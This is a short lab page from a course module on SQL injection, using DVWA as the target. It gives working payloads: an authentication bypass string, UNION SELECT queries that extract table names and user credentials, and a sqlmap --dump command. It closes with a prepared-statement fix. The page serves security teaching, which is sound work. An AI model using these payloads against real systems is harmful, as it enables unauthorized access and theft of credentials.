Skip to main content

Lab 6.2: SQL Injection - Complete Exploitation

Learning Objectives​

By the end of this lab, you will be able to:

  • Understand how SQL injection works
  • Bypass authentication via SQL injection
  • Extract data from a database
  • Use SQLMap for automation
  • Protect your applications against SQL injection

Estimated Duration​

40 minutes

Test Application​

Use DVWA (Damn Vulnerable Web Application) or provided application.

Basic Technique​

Classic authentication bypass:

Username: admin' OR '1'='1' --
Password: (anything)

Generated query:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' -- AND password = '...'

Result: Condition always true, login successful!

Data Extraction​

List tables:

' UNION SELECT GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema=DATABASE() --

Extract data:

' UNION SELECT username, password FROM users --

Automated SQLMap​

sqlmap -u "http://localhost/login.php" --data="username=admin&password=pass" --dump

Complete automatic extraction!

Protection​

Secure code with prepared statements:

$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();

Lab developed as part of the Operating Systems course - MODULE 6